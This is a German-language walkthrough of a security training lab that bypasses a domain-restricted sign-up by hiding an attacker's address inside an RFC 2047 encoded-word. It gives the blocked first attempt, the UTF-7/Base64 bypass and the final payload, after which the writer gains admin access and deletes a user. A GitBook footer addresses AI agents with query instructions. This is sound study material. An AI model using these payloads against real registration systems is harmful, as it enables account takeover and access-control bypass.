> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md). # Umgehung von Zugriffskontrollen durch inkonsistente Verarbeitung von E-Mail-Adressen ### Umgehung von Zugriffskontrollen durch Nutzung von Diskrepanzen bei der E-Mail-Adress-Analyse #### Lab-Beschreibung Dieses Labor implementiert eine E-Mail-Adressvalidierung, um Registrierungen mit nicht autorisierten Domains zu verhindern. / Allerdings gibt es eine Inkonsistenz zwischen der Validierungslogik auf Anwendungsseite und der Bibliothek, die tatsächlich zum Interpretieren von E-Mail-Adressen verwendet wird. Unter Nutzung dieses Unterschieds in der Analyse ist es möglich, sich mit einer externen E-Mail-Adresse anzumelden, während die Beschränkung auf die autorisierte Domain umgangen wird, und anschließend auf Admin-Funktionen zuzugreifen und Benutzer zu löschen **carlos**.

#### Registrierungsbeschränkung Beim Versuch, sich mit einer klassischen Adresse wie folgt zu registrieren: ``` test@jord4n.pro ``` Die Anwendung verweigert die Registrierung und gibt an, dass nur Adressen erlaubt sind, die zu der folgenden Domain gehören: ``` ginandjuice.shop ```

Eine legitime Registrierung mit dieser Domain löst dann eine Bestätigungs-E-Mail aus: ``` Bitte überprüfen Sie Ihre E-Mails auf Ihren Kontoregistrierungslink ```

Es ist daher notwendig, diese E-Mail zu empfangen, um die Registrierung abzuschließen. #### Ursprung der Schwachstelle

Der Fehler beruht auf der Verwendung eines **Encoded-word** (RFC 2047), dessen Format wie folgt aussieht: ```bash =????= ``` Dieser Mechanismus erlaubt es, bestimmte Teile einer E-Mail-Adresse zu kodieren. Der Validator der Anwendung lehnt einige Kodierungen ab, während der endgültige E-Mail-Parser sie korrekt interpretiert. #### Erster Block Ein einfacher Kodierungsversuch in UTF-8 (Quoted-Printable) wird von der WAF blockiert: ```bash =?utf-8?q?=61=62=63?=@ginandjuice.shop ``` Antwort ```bash Registrierung aus Sicherheitsgründen blockiert ```

#### Umgehungstechnik Um diese Filterung zu umgehen, **UTF-7-Kodierung mit Base64** verwendet. Prinzip: * Ein Zeichen in UTF-16 kodieren

* Dieses Ergebnis in Base64 umwandeln

* In einem UTF-7-Encoded-Word verwenden Beispiel für Zeichenkodierung `eine`: * UTF-16 → Base64 : `AGE=` Minimale funktionierende Nutzlast: ```bash =?utf-7?&AGE-=?=@ginandjuice.shop ``` Dieser Wert wird von der Validierungslogik akzeptiert.

#### Vollständige Durchführung mit einer kontrollierten Adresse Angreiferadresse: ```bash attacker@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net ``` Zusammensetzung der Nutzlast: * `&AEA-` steht für `@` * `&ACA-` steht für ein Leerzeichen und verhindert eine strikte Interpretation der finalen Domain

Verwendete finale Nutzlast bei der Registrierung:

=?utf-7?q?jordan&AEA-exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net&ACA-?=@ginandjuice.shop

Vom E-Mail-Server tatsächlich interpretierte Adresse: ```bash jordan@exploit-0ad8006c04c7300d8050fcb8013600a0.exploit-server.net @ginandjuice.shop ```

#### Ergebnis * Die Anwendung validiert die Adresse, da sie endet mit `@ginandjuice.shop`

* Der E-Mail-Server sendet die E-Mail an die vom Angreifer kontrollierte Adresse * Bestätigungslink empfangen * Die Registrierung wird erfolgreich abgeschlossen * Zugriff auf die Anwendung wird erlangt * Administrative Aktionen werden möglich, einschließlich des Entfernens eines Benutzers **carlos**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/de/web/business-logic/bypassing-access-controls-by-inconsistent-parsing-of-email-addresses.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.